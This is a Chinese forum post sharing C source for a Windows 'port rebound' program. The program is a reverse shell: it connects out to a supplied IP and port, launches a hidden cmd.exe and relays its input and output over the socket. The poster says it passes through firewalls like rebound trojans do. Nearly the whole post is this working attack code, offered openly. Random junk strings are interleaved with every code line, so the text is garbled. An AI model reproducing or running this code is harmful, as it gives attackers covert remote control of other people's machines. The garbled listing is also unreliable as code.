社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4812阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 b@v_db]|t.  
mYUR(*[  
/* ============================== a7Mn/ i.  
Rebound port in Windows NT Ga<Uvr%+  
By wind,2006/7 YL?2gBT  
===============================*/ hZZ  
#include K UD.hK.  
#include e:9s%|]T  
MiK -W  
#pragma comment(lib,"wsock32.lib") H|\@[:A+  
1j_gQ,'20  
void OutputShell(); 6 4,('+  
SOCKET sClient; +x!Hc  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; APgjT' ;P^  
02 $d  
void main(int argc,char **argv) \k4em{K  
{ '^|u\$&U  
WSADATA stWsaData; @> |3d  
int nRet; olv0w ;s  
SOCKADDR_IN stSaiClient,stSaiServer;  Y+d+  
OH >#f6`[  
if(argc != 3) WEaG/)y  
{ jd.{J{o  
printf("Useage:\n\rRebound DestIP DestPort\n"); Wa5B;X~  
return; 79*f <Gr  
} H:#sf][&,L  
<rihi:4K  
WSAStartup(MAKEWORD(2,2),&stWsaData); $ucDz f=o  
RVN;j4uMg  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JT p+&NS  
"Cz0r"N  
stSaiClient.sin_family = AF_INET; M!wa }  
stSaiClient.sin_port = htons(0); *t{^P*pc  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); eH_< <Xh!v  
=OeLF  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ^O3i)GO  
{ ^ 'ws/(  
printf("Bind Socket Failed!\n"); ge4QaK  
return; m9=93W?   
} s'^sT=b  
} *jmW P  
stSaiServer.sin_family = AF_INET; p:;`X!  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $KVCEe!X  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,hOi5,|?L  
Y 8n*o3jM  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) l3xI\{jn  
{ ?j;,:n   
printf("Connect Error!"); der\"?_.  
return; `F$lO2#k  
} O)!S[5YI  
OutputShell(); 7O-fc1OTv  
} 'Rb tcFb   
?J@P0(M#  
void OutputShell() OWc~=Cr  
{ +O)Y7k{?C5  
char szBuff[1024]; J(:y-U  
SECURITY_ATTRIBUTES stSecurityAttributes; Mi} .  
OSVERSIONINFO stOsversionInfo; /5Sd?pW;  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; aH_0EBRc  
STARTUPINFO stStartupInfo; 1+#E|YWJ  
char *szShell; v,kvLjqt  
PROCESS_INFORMATION stProcessInformation; K: |-s4=  
unsigned long lBytesRead; M0$_x~  
?IG[W+M8  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); nT%ko7~-  
Nt|Fw$3*5{  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); L6"V=^Bq  
stSecurityAttributes.lpSecurityDescriptor = 0; F/cA tT.M?  
stSecurityAttributes.bInheritHandle = TRUE; [:zP]l.|  
iwy;9x  
)O2IEwPd.  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); DP-0,Gt&Xj  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); J |w%n5Y  
@)C.IQ~  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); hEFOT]P4  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #;= sJ[m4  
stStartupInfo.wShowWindow = SW_HIDE; F!fsW9  
stStartupInfo.hStdInput = hReadPipe; cua( w  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; N@Q_5t0bk  
M.HMn N#  
GetVersionEx(&stOsversionInfo); 8F&Y;  
?r{hrAx  
switch(stOsversionInfo.dwPlatformId) pekNBq Wm  
{ (*_lLM@Cd  
case 1: lD{*Z spz  
szShell = "command.com"; v o4U%  
break; "}Ikx tee  
default: 1Ko4O)L]&  
szShell = "cmd.exe"; J0imWluhQ  
break; :cf#Tpq"  
} ^]D+H9Tl  
B>4/[ YHr;  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 7X)4ec9H\  
S503b*pM  
send(sClient,szMsg,77,0); GKKDO+A=!  
while(1) rHi4Pw{L  
{ nwMq~I*1  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); F+ 7*SImv6  
if(lBytesRead) "%b Gw v  
{ DN iH" 0%  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); :[CEHRc7x  
send(sClient,szBuff,lBytesRead,0); |?]doBm|  
} &E1m{gB(  
else wFMw&=j  
{ &8Z .m,s]  
lBytesRead=recv(sClient,szBuff,1024,0); BOh^oQh  
if(lBytesRead<=0) break; 8.>himL  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); :wN !E{0j  
} .lq83; k  
} I~6 o<HO  
2% /Kf}+  
return; cRuN;  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五